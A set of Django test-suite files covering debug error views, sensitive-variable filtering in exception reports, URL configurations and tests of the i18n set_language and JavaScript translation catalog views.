    resolver.resolve('/not-in-urls')


def technical404(request):
    raise Http404("Testing technical 404.")


class Http404View(View):
    def get(self, request):
        raise Http404("Testing class-based technical 404.")


def view_exception(request, n):
    raise BrokenException(except_args[int(n)])


def template_exception(request, n):
    return render(request, 'debug/template_exception.html', {'arg': except_args[int(n)]})


def jsi18n(request):
    return render(request, 'jsi18n.html')


def old_jsi18n(request):
    return render(request, 'old_jsi18n.html')


def jsi18n_multi_catalogs(request):
    return render(request, 'jsi18n-multi-catalogs.html')


def old_jsi18n_multi_catalogs(request):
    return render(request, 'old_jsi18n-multi-catalogs.html')


def raises_template_does_not_exist(request, path='i_dont_exist.html'):
    # We need to inspect the HTML generated by the fancy 500 debug view but
    # the test client ignores it, so we send it explicitly.
    try:
        return render(request, path)
    except TemplateDoesNotExist:
        return technical_500_response(request, *sys.exc_info())


def render_no_template(request):
    # If we do not specify a template, we need to make sure the debug
    # view doesn't blow up.
    return render(request, [], {})


def send_log(request, exc_info):
    logger = logging.getLogger('django')
    # The default logging config has a logging filter to ensure admin emails are
    # only sent with DEBUG=False, but since someone might choose to remove that
    # filter, we still want to be able to test the behavior of error emails
    # with DEBUG=True. So we need to remove the filter temporarily.
    admin_email_handler = [
        h for h in logger.handlers
        if h.__class__.__name__ == "AdminEmailHandler"
    ][0]
    orig_filters = admin_email_handler.filters
    admin_email_handler.filters = []
    admin_email_handler.include_html = True
    logger.error(
        'Internal Server Error: %s', request.path,
        exc_info=exc_info,
        extra={'status_code': 500, 'request': request},
    )
    admin_email_handler.filters = orig_filters


def non_sensitive_view(request):
    # Do not just use plain strings for the variables' values in the code
    # so that the tests don't return false positives when the function's source
    # is displayed in the exception report.
    cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
    sauce = ''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e'])  # NOQA
    try:
        raise Exception
    except Exception:
        exc_info = sys.exc_info()
        send_log(request, exc_info)
        return technical_500_response(request, *exc_info)


@sensitive_variables('sauce')
@sensitive_post_parameters('bacon-key', 'sausage-key')
def sensitive_view(request):
    # Do not just use plain strings for the variables' values in the code
    # so that the tests don't return false positives when the function's source
    # is displayed in the exception report.
    cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
    sauce = ''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e'])  # NOQA
    try:
        raise Exception
    except Exception:
        exc_info = sys.exc_info()
        send_log(request, exc_info)
        return technical_500_response(request, *exc_info)


@sensitive_variables()
@sensitive_post_parameters()
def paranoid_view(request):
    # Do not just use plain strings for the variables' values in the code
    # so that the tests don't return false positives when the function's source
    # is displayed in the exception report.
    cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
    sauce = ''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e'])  # NOQA
    try:
        raise Exception
    except Exception:
        exc_info = sys.exc_info()
        send_log(request, exc_info)
        return technical_500_response(request, *exc_info)


def sensitive_args_function_caller(request):
    try:
        sensitive_args_function(''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e']))
    except Exception:
        exc_info = sys.exc_info()
        send_log(request, exc_info)
        return technical_500_response(request, *exc_info)


@sensitive_variables('sauce')
def sensitive_args_function(sauce):
    # Do not just use plain strings for the variables' values in the code
    # so that the tests don't return false positives when the function's source
    # is displayed in the exception report.
    cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
    raise Exception


def sensitive_kwargs_function_caller(request):
    try:
        sensitive_kwargs_function(''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e']))
    except Exception:
        exc_info = sys.exc_info()
        send_log(request, exc_info)
        return technical_500_response(request, *exc_info)


@sensitive_variables('sauce')
def sensitive_kwargs_function(sauce=None):
    # Do not just use plain strings for the variables' values in the code
    # so that the tests don't return false positives when the function's source
    # is displayed in the exception report.
    cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
    raise Exception


class UnsafeExceptionReporterFilter(SafeExceptionReporterFilter):
    """
    Ignores all the filtering done by its parent class.
    """

    def get_post_parameters(self, request):
        return request.POST

    def get_traceback_frame_variables(self, request, tb_frame):
        return tb_frame.f_locals.items()


@sensitive_variables()
@sensitive_post_parameters()
def custom_exception_reporter_filter_view(request):
    # Do not just use plain strings for the variables' values in the code
    # so that the tests don't return false positives when the function's source
    # is displayed in the exception report.
    cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
    sauce = ''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e'])  # NOQA
    request.exception_reporter_filter = UnsafeExceptionReporterFilter()
    try:
        raise Exception
    except Exception:
        exc_info = sys.exc_info()
        send_log(request, exc_info)
        return technical_500_response(request, *exc_info)


class Klass(object):

    @sensitive_variables('sauce')
    def method(self, request):
        # Do not just use plain strings for the variables' values in the code
        # so that the tests don't return false positives when the function's
        # source is displayed in the exception report.
        cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
        sauce = ''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e'])  # NOQA
        try:
            raise Exception
        except Exception:
            exc_info = sys.exc_info()
            send_log(request, exc_info)
            return technical_500_response(request, *exc_info)


def sensitive_method_view(request):
    return Klass().method(request)


@sensitive_variables('sauce')
@sensitive_post_parameters('bacon-key', 'sausage-key')
def multivalue_dict_key_error(request):
    cooked_eggs = ''.join(['s', 'c', 'r', 'a', 'm', 'b', 'l', 'e', 'd'])  # NOQA
    sauce = ''.join(['w', 'o', 'r', 'c', 'e', 's', 't', 'e', 'r', 's', 'h', 'i', 'r', 'e'])  # NOQA
    try:
        request.POST['bar']
    except Exception:
        exc_info = sys.exc_info()
        send_log(request, exc_info)
        return technical_500_response(request, *exc_info)


def json_response_view(request):
    return JsonResponse({
        'a': [1, 2, 3],
        'foo': {'bar': 'baz'},
        # Make sure datetime and Decimal objects would be serialized properly
        'timestamp': datetime.datetime(2013, 5, 19, 20),
        'value': decimal.Decimal('3.14'),
    })






# -*- coding: utf-8 -*-
from functools import partial
from os import path

from django.conf.urls import include, url
from django.conf.urls.i18n import i18n_patterns
from django.utils._os import upath
from django.utils.translation import ugettext_lazy as _
from django.views import defaults, i18n, static

from . import views

base_dir = path.dirname(path.abspath(upath(__file__)))
media_dir = path.join(base_dir, 'media')
locale_dir = path.join(base_dir, 'locale')

js_info_dict = {
    'domain': 'djangojs',
    'packages': ('view_tests',),
}

js_info_dict_english_translation = {
    'domain': 'djangojs',
    'packages': ('view_tests.app0',),
}

js_info_dict_multi_packages1 = {
    'domain': 'djangojs',
    'packages': ('view_tests.app1', 'view_tests.app2'),
}

js_info_dict_multi_packages2 = {
    'domain': 'djangojs',
    'packages': ('view_tests.app3', 'view_tests.app4'),
}

js_info_dict_admin = {
    'domain': 'djangojs',
    'packages': ('django.contrib.admin', 'view_tests'),
}

js_info_dict_app1 = {
    'domain': 'djangojs',
    'packages': ('view_tests.app1',),
}

js_info_dict_app2 = {
    'domain': 'djangojs',
    'packages': ('view_tests.app2',),
}

js_info_dict_app5 = {
    'domain': 'djangojs',
    'packages': ('view_tests.app5',),
}

urlpatterns = [
    url(r'^$', views.index_page),

    # Default views
    url(r'^non_existing_url/', partial(defaults.page_not_found, exception=None)),
    url(r'^server_error/', defaults.server_error),

    # a view that raises an exception for the debug view
    url(r'raises/$', views.raises),

    url(r'raises400/$', views.raises400),
    url(r'raises403/$', views.raises403),
    url(r'raises404/$', views.raises404),
    url(r'raises500/$', views.raises500),

    url(r'technical404/$', views.technical404, name="my404"),
    url(r'classbased404/$', views.Http404View.as_view()),

    # deprecated i18n views
    url(r'^old_jsi18n/$', i18n.javascript_catalog, js_info_dict),
    url(r'^old_jsi18n/app1/$', i18n.javascript_catalog, js_info_dict_app1),
    url(r'^old_jsi18n/app2/$', i18n.javascript_catalog, js_info_dict_app2),
    url(r'^old_jsi18n/app5/$', i18n.javascript_catalog, js_info_dict_app5),
    url(r'^old_jsi18n_english_translation/$', i18n.javascript_catalog, js_info_dict_english_translation),
    url(r'^old_jsi18n_multi_packages1/$', i18n.javascript_catalog, js_info_dict_multi_packages1),
    url(r'^old_jsi18n_multi_packages2/$', i18n.javascript_catalog, js_info_dict_multi_packages2),
    url(r'^old_jsi18n_admin/$', i18n.javascript_catalog, js_info_dict_admin),
    url(r'^old_jsi18n_template/$', views.old_jsi18n),
    url(r'^old_jsi18n_multi_catalogs/$', views.old_jsi18n_multi_catalogs),
    url(r'^old_jsoni18n/$', i18n.json_catalog, js_info_dict),

    # i18n views
    url(r'^i18n/', include('django.conf.urls.i18n')),
    url(r'^jsi18n/$', i18n.JavaScriptCatalog.as_view(packages=['view_tests'])),
    url(r'^jsi18n/app1/$', i18n.JavaScriptCatalog.as_view(packages=['view_tests.app1'])),
    url(r'^jsi18n/app2/$', i18n.JavaScriptCatalog.as_view(packages=['view_tests.app2'])),
    url(r'^jsi18n/app5/$', i18n.JavaScriptCatalog.as_view(packages=['view_tests.app5'])),
    url(r'^jsi18n_english_translation/$', i18n.JavaScriptCatalog.as_view(packages=['view_tests.app0'])),
    url(r'^jsi18n_multi_packages1/$',
        i18n.JavaScriptCatalog.as_view(packages=['view_tests.app1', 'view_tests.app2'])),
    url(r'^jsi18n_multi_packages2/$',
        i18n.JavaScriptCatalog.as_view(packages=['view_tests.app3', 'view_tests.app4'])),
    url(r'^jsi18n_admin/$',
        i18n.JavaScriptCatalog.as_view(packages=['django.contrib.admin', 'view_tests'])),
    url(r'^jsi18n_template/$', views.jsi18n),
    url(r'^jsi18n_multi_catalogs/$', views.jsi18n_multi_catalogs),
    url(r'^jsoni18n/$', i18n.JSONCatalog.as_view(packages=['view_tests'])),

    # Static views
    url(r'^site_media/(?P<path>.*)$', static.serve, {'document_root': media_dir, 'show_indexes': True}),
]

urlpatterns += i18n_patterns(
    url(_(r'^translated/$'), views.index_page, name='i18n_prefixed'),
)

urlpatterns += [
    url(r'view_exception/(?P<n>[0-9]+)/$', views.view_exception, name='view_exception'),
    url(r'template_exception/(?P<n>[0-9]+)/$', views.template_exception, name='template_exception'),
    url(
        r'^raises_template_does_not_exist/(?P<path>.+)$',
        views.raises_template_does_not_exist,
        name='raises_template_does_not_exist'
    ),
    url(r'^render_no_template/$', views.render_no_template, name='render_no_template'),
    url(r'^test-setlang/(?P<parameter>[^/]+)/$', views.with_parameter, name='with_parameter'),
]






from django.conf.urls import url
from django.contrib import admin

urlpatterns = [
    # This is the same as in the default project template
    url(r'^admin/', admin.site.urls),
]






# -*- coding:utf-8 -*-
from __future__ import unicode_literals

from django.conf.urls import url
from django.contrib.auth import views as auth_views
from django.views.generic import RedirectView

from . import views
from .models import Article, DateArticle

date_based_info_dict = {
    'queryset': Article.objects.all(),
    'date_field': 'date_created',
    'month_format': '%m',
}

object_list_dict = {
    'queryset': Article.objects.all(),
    'paginate_by': 2,
}

object_list_no_paginate_by = {
    'queryset': Article.objects.all(),
}

numeric_days_info_dict = dict(date_based_info_dict, day_format='%d')

date_based_datefield_info_dict = dict(date_based_info_dict, queryset=DateArticle.objects.all())

urlpatterns = [
    url(r'^accounts/login/$', auth_views.LoginView.as_view(template_name='login.html')),
    url(r'^accounts/logout/$', auth_views.LogoutView.as_view()),

    # Special URLs for particular regression cases.
    url('^中文/target/$', views.index_page),
]

# redirects, both temporary and permanent, with non-ASCII targets
urlpatterns += [
    url('^nonascii_redirect/$', RedirectView.as_view(
        url='/中文/target/', permanent=False)),
    url('^permanent_nonascii_redirect/$', RedirectView.as_view(
        url='/中文/target/', permanent=True)),
]

# json response
urlpatterns += [
    url(r'^json/response/$', views.json_response_view),
]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals


class BrokenException(Exception):
    pass

except_args = (b'Broken!',         # plain exception with ASCII text
               '¡Broken!',         # non-ASCII unicode data
               '¡Broken!'.encode('utf-8'),  # non-ASCII, utf-8 encoded bytestring
               b'\xa1Broken!', )   # non-ASCII, latin1 bytestring












from django import template

from ..views import BrokenException

register = template.Library()


@register.simple_tag
def go_boom(arg):
    raise BrokenException(arg)










































# -*- coding:utf-8 -*-
from __future__ import unicode_literals

import gettext
import json
from os import path

from django.conf import settings
from django.test import (
    SimpleTestCase, TestCase, modify_settings, override_settings,
)
from django.test.selenium import SeleniumTestCase
from django.test.utils import ignore_warnings
from django.urls import reverse
from django.utils import six
from django.utils._os import upath
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.translation import (
    LANGUAGE_SESSION_KEY, get_language, override,
)

from ..urls import locale_dir


@override_settings(ROOT_URLCONF='view_tests.urls')
class I18NTests(TestCase):
    """ Tests django views in django/views/i18n.py """

    def _get_inactive_language_code(self):
        """Return language code for a language which is not activated."""
        current_language = get_language()
        return [code for code, name in settings.LANGUAGES if not code == current_language][0]

    def test_setlang(self):
        """
        The set_language view can be used to change the session language.

        The user is redirected to the 'next' argument if provided.
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code, next='/')
        response = self.client.post('/i18n/setlang/', post_data, HTTP_REFERER='/i_should_not_be_used/')
        self.assertRedirects(response, '/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_unsafe_next(self):
        """
        The set_language view only redirects to the 'next' argument if it is
        "safe".
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code, next='//unsafe/redirection/')
        response = self.client.post('/i18n/setlang/', data=post_data)
        self.assertEqual(response.url, '/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_http_next(self):
        """
        The set_language view only redirects to the 'next' argument if it is
        "safe" and its scheme is https if the request was sent over https.
        """
        lang_code = self._get_inactive_language_code()
        non_https_next_url = 'http://testserver/redirection/'
        post_data = dict(language=lang_code, next=non_https_next_url)
        # Insecure URL in POST data.
        response = self.client.post('/i18n/setlang/', data=post_data, secure=True)
        self.assertEqual(response.url, '/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)
        # Insecure URL in HTTP referer.
        response = self.client.post('/i18n/setlang/', secure=True, HTTP_REFERER=non_https_next_url)
        self.assertEqual(response.url, '/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_redirect_to_referer(self):
        """
        The set_language view redirects to the URL in the referer header when
        there isn't a "next" parameter.
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code)
        response = self.client.post('/i18n/setlang/', post_data, HTTP_REFERER='/i18n/')
        self.assertRedirects(response, '/i18n/', fetch_redirect_response=False)
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_default_redirect(self):
        """
        The set_language view redirects to '/' when there isn't a referer or
        "next" parameter.
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code)
        response = self.client.post('/i18n/setlang/', post_data)
        self.assertRedirects(response, '/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_performs_redirect_for_ajax_if_explicitly_requested(self):
        """
        The set_language view redirects to the "next" parameter for AJAX calls.
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code, next='/')
        response = self.client.post('/i18n/setlang/', post_data, HTTP_X_REQUESTED_WITH='XMLHttpRequest')
        self.assertRedirects(response, '/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_doesnt_perform_a_redirect_to_referer_for_ajax(self):
        """
        The set_language view doesn't redirect to the HTTP referer header for
        AJAX calls.
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code)
        headers = {'HTTP_REFERER': '/', 'HTTP_X_REQUESTED_WITH': 'XMLHttpRequest'}
        response = self.client.post('/i18n/setlang/', post_data, **headers)
        self.assertEqual(response.status_code, 204)
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_doesnt_perform_a_default_redirect_for_ajax(self):
        """
        The set_language view returns 204 for AJAX calls by default.
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code)
        response = self.client.post('/i18n/setlang/', post_data, HTTP_X_REQUESTED_WITH='XMLHttpRequest')
        self.assertEqual(response.status_code, 204)
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_unsafe_next_for_ajax(self):
        """
        The fallback to root URL for the set_language view works for AJAX calls.
        """
        lang_code = self._get_inactive_language_code()
        post_data = dict(language=lang_code, next='//unsafe/redirection/')
        response = self.client.post('/i18n/setlang/', post_data, HTTP_X_REQUESTED_WITH='XMLHttpRequest')
        self.assertEqual(response.url, '/')
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    def test_setlang_reversal(self):
        self.assertEqual(reverse('set_language'), '/i18n/setlang/')

    def test_setlang_cookie(self):
        # we force saving language to a cookie rather than a session
        # by excluding session middleware and those which do require it
        test_settings = dict(
            MIDDLEWARE=['django.middleware.common.CommonMiddleware'],
            LANGUAGE_COOKIE_NAME='mylanguage',
            LANGUAGE_COOKIE_AGE=3600 * 7 * 2,
            LANGUAGE_COOKIE_DOMAIN='.example.com',
            LANGUAGE_COOKIE_PATH='/test/',
        )
        with self.settings(**test_settings):
            post_data = dict(language='pl', next='/views/')
            response = self.client.post('/i18n/setlang/', data=post_data)
            language_cookie = response.cookies.get('mylanguage')
            self.assertEqual(language_cookie.value, 'pl')
            self.assertEqual(language_cookie['domain'], '.example.com')
            self.assertEqual(language_cookie['path'], '/test/')
            self.assertEqual(language_cookie['max-age'], 3600 * 7 * 2)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_setlang_cookie_middleware_classes(self):
        # we force saving language to a cookie rather than a session
        # by excluding session middleware and those which do require it
        test_settings = dict(
            MIDDLEWARE=None,
            MIDDLEWARE_CLASSES=['django.middleware.common.CommonMiddleware'],
            LANGUAGE_COOKIE_NAME='mylanguage',
            LANGUAGE_COOKIE_AGE=3600 * 7 * 2,
            LANGUAGE_COOKIE_DOMAIN='.example.com',
            LANGUAGE_COOKIE_PATH='/test/',
        )
        with self.settings(**test_settings):
            post_data = dict(language='pl', next='/views/')
            response = self.client.post('/i18n/setlang/', data=post_data)
            language_cookie = response.cookies.get('mylanguage')
            self.assertEqual(language_cookie.value, 'pl')
            self.assertEqual(language_cookie['domain'], '.example.com')
            self.assertEqual(language_cookie['path'], '/test/')
            self.assertEqual(language_cookie['max-age'], 3600 * 7 * 2)

    def test_setlang_decodes_http_referer_url(self):
        """
        The set_language view decodes the HTTP_REFERER URL.
        """
        # The url() & view must exist for this to work as a regression test.
        self.assertEqual(reverse('with_parameter', kwargs={'parameter': 'x'}), '/test-setlang/x/')
        lang_code = self._get_inactive_language_code()
        encoded_url = '/test-setlang/%C3%A4/'  # (%C3%A4 decodes to ä)
        response = self.client.post('/i18n/setlang/', {'language': lang_code}, HTTP_REFERER=encoded_url)
        self.assertRedirects(response, encoded_url, fetch_redirect_response=False)
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], lang_code)

    @modify_settings(MIDDLEWARE={
        'append': 'django.middleware.locale.LocaleMiddleware',
    })
    def test_lang_from_translated_i18n_pattern(self):
        response = self.client.post(
            '/i18n/setlang/', data={'language': 'nl'},
            follow=True, HTTP_REFERER='/en/translated/'
        )
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], 'nl')
        self.assertRedirects(response, '/nl/vertaald/')
        # And reverse
        response = self.client.post(
            '/i18n/setlang/', data={'language': 'en'},
            follow=True, HTTP_REFERER='/nl/vertaald/'
        )
        self.assertRedirects(response, '/en/translated/')

    @ignore_warnings(category=RemovedInDjango20Warning)
    @override_settings(
        MIDDLEWARE=None,
        MIDDLEWARE_CLASSES=[
            'django.contrib.sessions.middleware.SessionMiddleware',
            'django.middleware.locale.LocaleMiddleware',
        ],
    )
    def test_lang_from_translated_i18n_pattern_middleware_classes(self):
        response = self.client.post(
            '/i18n/setlang/', data={'language': 'nl'},
            follow=True, HTTP_REFERER='/en/translated/'
        )
        self.assertEqual(self.client.session[LANGUAGE_SESSION_KEY], 'nl')
        self.assertRedirects(response, '/nl/vertaald/')
        # And reverse
        response = self.client.post(
            '/i18n/setlang/', data={'language': 'en'},
            follow=True, HTTP_REFERER='/nl/vertaald/'
        )
        self.assertRedirects(response, '/en/translated/')


@override_settings(ROOT_URLCONF='view_tests.urls')
class JsI18NTests(SimpleTestCase):
    """
    Tests views in django/views/i18n.py that need to change
    settings.LANGUAGE_CODE.
    """
    def test_jsi18n(self):
        """The javascript_catalog can be deployed with language settings"""
        for lang_code in ['es', 'fr', 'ru']:
            with override(lang_code):
                catalog = gettext.translation('djangojs', locale_dir, [lang_code])
                if six.PY3:
                    trans_txt = catalog.gettext('this is to be translated')
                else:
                    trans_txt = catalog.ugettext('this is to be translated')
                response = self.client.get('/jsi18n/')
                # response content must include a line like:
                # "this is to be translated": <value of trans_txt Python variable>
                # json.dumps() is used to be able to check unicode strings
                self.assertContains(response, json.dumps(trans_txt), 1)
                if lang_code == 'fr':
                    # Message with context (msgctxt)
                    self.assertContains(response, '"month name\\u0004May": "mai"', 1)

    @override_settings(USE_I18N=False)
    def test_jsi18n_USE_I18N_False(self):
        response = self.client.get('/jsi18n/')
        # default plural function
        self.assertContains(response, 'django.pluralidx = function(count) { return (count == 1) ? 0 : 1; };')
        self.assertNotContains(response, 'var newcatalog =')

    def test_jsoni18n(self):
        """
        The json_catalog returns the language catalog and settings as JSON.
        """
        with override('de'):
            response = self.client.get('/jsoni18n/')
            data = json.loads(response.content.decode('utf-8'))
            self.assertIn('catalog', data)
            self.assertIn('formats', data)
            self.assertIn('plural', data)
            self.assertEqual(data['catalog']['month name\x04May'], 'Mai')
            self.assertIn('DATETIME_FORMAT', data['formats'])
            self.assertEqual(data['plural'], '(n != 1)')

    def test_jsi18n_with_missing_en_files(self):
        """
        The javascript_catalog shouldn't load the fallback language in the
        case that the current selected language is actually the one translated
        from, and hence missing translation files completely.

        This happens easily when you're translating from English to other
        languages and you've set settings.LANGUAGE_CODE to some other language
        than English.
        """
        with self.settings(LANGUAGE_CODE='es'), override('en-us'):
            response = self.client.get('/jsi18n/')
            self.assertNotContains(response, 'esto tiene que ser traducido')

    def test_jsoni18n_with_missing_en_files(self):
        """
        Same as above for the json_catalog view. Here we also check for the
        expected JSON format.
        """
        with self.settings(LANGUAGE_CODE='es'), override('en-us'):
            response = self.client.get('/jsoni18n/')
            data = json.loads(response.content.decode('utf-8'))
            self.assertIn('catalog', data)
            self.assertIn('formats', data)
            self.assertIn('plural', data)
            self.assertEqual(data['catalog'], {})
            self.assertIn('DATETIME_FORMAT', data['formats'])
            self.assertIsNone(data['plural'])

    def test_jsi18n_fallback_language(self):
        """
        Let's make sure that the fallback language is still working properly
        in cases where the selected language cannot be found.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('fi'):
            response = self.client.get('/jsi18n/')
            self.assertContains(response, 'il faut le traduire')
            self.assertNotContains(response, "Untranslated string")

    def test_i18n_english_variant(self):
        with override('en-gb'):
            response = self.client.get('/jsi18n/')
            self.assertIn(
                '"this color is to be translated": "this colour is to be translated"',
                response.context['catalog_str']
            )

    def test_i18n_language_non_english_default(self):
        """
        Check if the Javascript i18n view returns an empty language catalog
        if the default language is non-English, the selected language
        is English and there is not 'en' translation available. See #13388,
        #3594 and #13726 for more details.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('en-us'):
            response = self.client.get('/jsi18n/')
            self.assertNotContains(response, 'Choisir une heure')

    @modify_settings(INSTALLED_APPS={'append': 'view_tests.app0'})
    def test_non_english_default_english_userpref(self):
        """
        Same as above with the difference that there IS an 'en' translation
        available. The Javascript i18n view must return a NON empty language catalog
        with the proper English translations. See #13726 for more details.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('en-us'):
            response = self.client.get('/jsi18n_english_translation/')
            self.assertContains(response, 'this app0 string is to be translated')

    def test_i18n_language_non_english_fallback(self):
        """
        Makes sure that the fallback language is still working properly
        in cases where the selected language cannot be found.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('none'):
            response = self.client.get('/jsi18n/')
            self.assertContains(response, 'Choisir une heure')

    def test_escaping(self):
        # Force a language via GET otherwise the gettext functions are a noop!
        response = self.client.get('/jsi18n_admin/?language=de')
        self.assertContains(response, '\\x04')

    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app5']})
    def test_non_BMP_char(self):
        """
        Non-BMP characters should not break the javascript_catalog (#21725).
        """
        with self.settings(LANGUAGE_CODE='en-us'), override('fr'):
            response = self.client.get('/jsi18n/app5/')
            self.assertContains(response, 'emoji')
            self.assertContains(response, '\\ud83d\\udca9')


@override_settings(ROOT_URLCONF='view_tests.urls')
class JsI18NTestsMultiPackage(SimpleTestCase):
    """
    Tests views in django/views/i18n.py that need to change
    settings.LANGUAGE_CODE and merge JS translation from several packages.
    """
    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app1', 'view_tests.app2']})
    def test_i18n_language_english_default(self):
        """
        Check if the JavaScript i18n view returns a complete language catalog
        if the default language is en-us, the selected language has a
        translation available and a catalog composed by djangojs domain
        translations of multiple Python packages is requested. See #13388,
        #3594 and #13514 for more details.
        """
        with self.settings(LANGUAGE_CODE='en-us'), override('fr'):
            response = self.client.get('/jsi18n_multi_packages1/')
            self.assertContains(response, 'il faut traduire cette cha\\u00eene de caract\\u00e8res de app1')

    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app3', 'view_tests.app4']})
    def test_i18n_different_non_english_languages(self):
        """
        Similar to above but with neither default or requested language being
        English.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('es-ar'):
            response = self.client.get('/jsi18n_multi_packages2/')
            self.assertContains(response, 'este texto de app3 debe ser traducido')

    def test_i18n_with_locale_paths(self):
        extended_locale_paths = settings.LOCALE_PATHS + [
            path.join(
                path.dirname(path.dirname(path.abspath(upath(__file__)))),
                'app3',
                'locale',
            ),
        ]
        with self.settings(LANGUAGE_CODE='es-ar', LOCALE_PATHS=extended_locale_paths):
            with override('es-ar'):
                response = self.client.get('/jsi18n/')
                self.assertContains(response, 'este texto de app3 debe ser traducido')


@override_settings(ROOT_URLCONF='view_tests.urls')
class JavascriptI18nTests(SeleniumTestCase):

    # The test cases use fixtures & translations from these apps.
    available_apps = [
        'django.contrib.admin', 'django.contrib.auth',
        'django.contrib.contenttypes', 'view_tests',
    ]

    @override_settings(LANGUAGE_CODE='de')
    def test_javascript_gettext(self):
        self.selenium.get(self.live_server_url + '/jsi18n_template/')

        elem = self.selenium.find_element_by_id("gettext")
        self.assertEqual(elem.text, "Entfernen")
        elem = self.selenium.find_element_by_id("ngettext_sing")
        self.assertEqual(elem.text, "1 Element")
        elem = self.selenium.find_element_by_id("ngettext_plur")
        self.assertEqual(elem.text, "455 Elemente")
        elem = self.selenium.find_element_by_id("pgettext")
        self.assertEqual(elem.text, "Kann")
        elem = self.selenium.find_element_by_id("npgettext_sing")
        self.assertEqual(elem.text, "1 Resultat")
        elem = self.selenium.find_element_by_id("npgettext_plur")
        self.assertEqual(elem.text, "455 Resultate")

    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app1', 'view_tests.app2']})
    @override_settings(LANGUAGE_CODE='fr')
    def test_multiple_catalogs(self):
        self.selenium.get(self.live_server_url + '/jsi18n_multi_catalogs/')

        elem = self.selenium.find_element_by_id('app1string')
        self.assertEqual(elem.text, 'il faut traduire cette chaîne de caractères de app1')
        elem = self.selenium.find_element_by_id('app2string')
        self.assertEqual(elem.text, 'il faut traduire cette chaîne de caractères de app2')






# -*- coding: utf-8 -*-
# This coding header is significant for tests, as the debug view is parsing
# files to search for such a header to decode the source file content
from __future__ import unicode_literals

import importlib
import inspect
import os
import re
import sys
import tempfile
from unittest import skipIf

from django.core import mail
from django.core.files.uploadedfile import SimpleUploadedFile
from django.db import DatabaseError, connection
from django.template import TemplateDoesNotExist
from django.test import RequestFactory, SimpleTestCase, override_settings
from django.test.utils import LoggingCaptureMixin
from django.urls import reverse
from django.utils import six
from django.utils.encoding import force_bytes, force_text
from django.utils.functional import SimpleLazyObject
from django.views.debug import (
    CLEANSED_SUBSTITUTE, CallableSettingWrapper, ExceptionReporter,
    cleanse_setting, technical_500_response,
)

from .. import BrokenException, except_args
from ..views import (
    custom_exception_reporter_filter_view, multivalue_dict_key_error,
    non_sensitive_view, paranoid_view, sensitive_args_function_caller,
    sensitive_kwargs_function_caller, sensitive_method_view, sensitive_view,
)

if six.PY3:
    from .py3_test_debug import Py3ExceptionReporterTests  # NOQA


class User(object):
    def __str__(self):
        return 'jacob'


class CallableSettingWrapperTests(SimpleTestCase):
    """ Unittests for CallableSettingWrapper
    """
    def test_repr(self):
        class WrappedCallable(object):
            def __repr__(self):
                return "repr from the wrapped callable"

            def __call__(self):
                pass

        actual = repr(CallableSettingWrapper(WrappedCallable()))
        self.assertEqual(actual, "repr from the wrapped callable")


@override_settings(DEBUG=True, ROOT_URLCONF='view_tests.urls')
class DebugViewTests(LoggingCaptureMixin, SimpleTestCase):

    def test_files(self):
        response = self.client.get('/raises/')
        self.assertEqual(response.status_code, 500)

        data = {
            'file_data.txt': SimpleUploadedFile('file_data.txt', b'haha'),
